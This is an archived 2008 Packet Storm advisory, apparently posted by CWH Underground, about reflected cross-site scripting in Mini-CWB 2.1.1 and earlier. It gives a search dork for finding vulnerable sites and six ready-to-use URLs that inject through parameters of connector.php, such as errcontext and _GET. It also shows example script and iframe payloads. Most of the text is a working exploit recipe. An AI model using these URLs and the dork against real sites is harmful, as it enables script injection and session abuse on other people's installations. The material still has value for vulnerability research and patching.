minicwb-xss.txt

2008-05-27T00:00:00
ID PACKETSTORM:66692
Type packetstorm
Reporter CWH Underground
Modified 2008-05-27T00:00:00

Description

                                        
                                            `==========================================================  
Mini-CWB <= 2.1.1 Remote XSS Vulnerability   
==========================================================  
  
  
AUTHOR : CWH Underground  
DATE : 25 May 2008  
SITE : www.citec.us  
  
  
#####################################################  
APPLICATION : BMForum  
VERSION : <= 2.1.1 (Lastest Version)  
VENDOR : http://www.mini-open-cms.com  
DOWNLOAD : http://www.mini-open-cms.com/download/Mini-CWB-2.1.1.zip  
#####################################################  
  
DORK: "powered by mini-cwb"  
  
---Multiple XSS Exploit in 'connector.php'---  
  
[-] http://[target]/[mini_cwb_path]/javascript/editor/editor/filemanager/browser/mcpuk/connectors/php/connector.php?errcontext=<XSS>  
[-] http://[target]/[mini_cwb_path]/javascript/editor/editor/filemanager/browser/mcpuk/connectors/php/connector.php?_GET=<XSS>  
[-] http://[target]/[mini_cwb_path]/javascript/editor/editor/filemanager/browser/mcpuk/connectors/php/connector.php?_POST=<XSS>  
[-] http://[target]/[mini_cwb_path]/javascript/editor/editor/filemanager/browser/mcpuk/connectors/php/connector.php?_SESSION=<XSS>  
[-] http://[target]/[mini_cwb_path]/javascript/editor/editor/filemanager/browser/mcpuk/connectors/php/connector.php?_SERVER=<XSS>  
[-] http://[target]/[mini_cwb_path]/javascript/editor/editor/filemanager/browser/mcpuk/connectors/php/connector.php?fckphp_config[Debug_SERVER]=<XSS>  
  
  
Example for XSS :   
<script>alert(123);</script>  
<iframe src=http://www.google.com> .  
  
################################################################  
Greetz: ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos   
################################################################  
  
`